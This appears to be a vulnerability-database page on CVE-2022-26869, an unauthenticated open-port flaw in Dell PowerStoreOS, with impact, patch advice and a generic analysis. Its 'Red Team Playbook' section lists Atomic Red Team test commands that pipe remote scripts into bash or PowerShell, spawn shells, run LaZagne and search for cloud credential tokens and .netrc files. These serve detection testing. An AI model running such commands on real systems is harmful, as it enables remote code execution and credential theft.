CVE-2022-26869
Overview
The vulnerability in Dell PowerStore arises from an open network port that improperly exposes internal services without adequate access controls. This misconfiguration allows unauthenticated remote access to critical system components within the PowerStoreOS, specifically affecting versions 2.0.0.x, 2.0.1.x, and 2.1.0.x. The root cause is insufficient network service isolation and lack of authentication enforcement on exposed interfaces.
Vulnerability Description
Dell PowerStore versions 2.0.0.x, 2.0.1.x and 2.1.0.x contains an open port vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to information disclosure and arbitrary code execution.
Impact
An unauthenticated remote attacker with network access to the affected Dell PowerStore systems can exploit this vulnerability to disclose sensitive information and execute arbitrary code with high privileges. No user interaction or authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can result in unauthorized data access, system control takeover, and potential disruption of storage services, impacting business continuity and data confidentiality.
Solution
Dell has released patches addressing this vulnerability for PowerStoreOS versions 2.0.0.x, 2.0.1.x, and 2.1.0.x. Administrators should apply the updates as detailed in Dell's advisory (https://www.dell.com/support/kbdoc/000196367) to remediate the open port exposure. The advisory provides step-by-step patch installation instructions and recommends verifying system versions to ensure complete mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in specific versions of Dell PowerStore is characterized by an open port that allows remote unauthenticated access. This flaw arises from improper configuration or inadequate security measures, which expose the system to potential exploitation. An attacker can leverage this open port to gain unauthorized access to sensitive information or execute arbitrary code on the affected system. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk that necessitates immediate attention from organizations utilizing these storage solutions.
Exploitation of this vulnerability can occur through various attack vectors. A remote attacker could initiate a connection to the exposed port without any authentication, allowing them to probe the system for weaknesses. Once inside, the attacker could extract sensitive data, manipulate system configurations, or deploy malicious payloads. Scenarios may include data breaches where confidential information is accessed and exfiltrated, or the installation of malware that could lead to further compromise of the network. The ease of access due to the lack of authentication makes this vulnerability particularly dangerous, as it lowers the barrier for attackers to initiate their exploits.
The real-world impact of this vulnerability can be significant for organizations relying on Dell PowerStore for their data storage and management needs. A successful exploitation could lead to severe business risks, including data loss, reputational damage, and financial repercussions. Organizations may face regulatory penalties if sensitive data is compromised, especially if it involves personally identifiable information (PII) or protected health information (PHI). Additionally, the potential for operational disruption due to unauthorized code execution could hinder business continuity, resulting in further financial losses and a decline in customer trust.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular network scans should be conducted to identify open ports and assess their necessity. If the exposed port is not required for business operations, it should be closed immediately. For those that must remain open, robust access controls and authentication mechanisms should be enforced to limit exposure. Additionally, organizations should ensure that they are running the latest versions of the affected product, as vendors typically release patches to address known vulnerabilities. Continuous monitoring of network traffic can also help in identifying unusual activities that may indicate an attempted exploitation.
In conclusion, the open port vulnerability in Dell PowerStore poses a critical threat to organizations that utilize this storage solution. The potential for unauthorized access and arbitrary code execution highlights the need for stringent security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability effectively. Proactive security practices, including regular updates and vigilant monitoring, are essential in safeguarding sensitive data and maintaining operational integrity in the face of evolving cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Powerstoreos | All |
cpe:2.3:o:dell:powerstoreos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-26869 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/kbdoc/000196367 |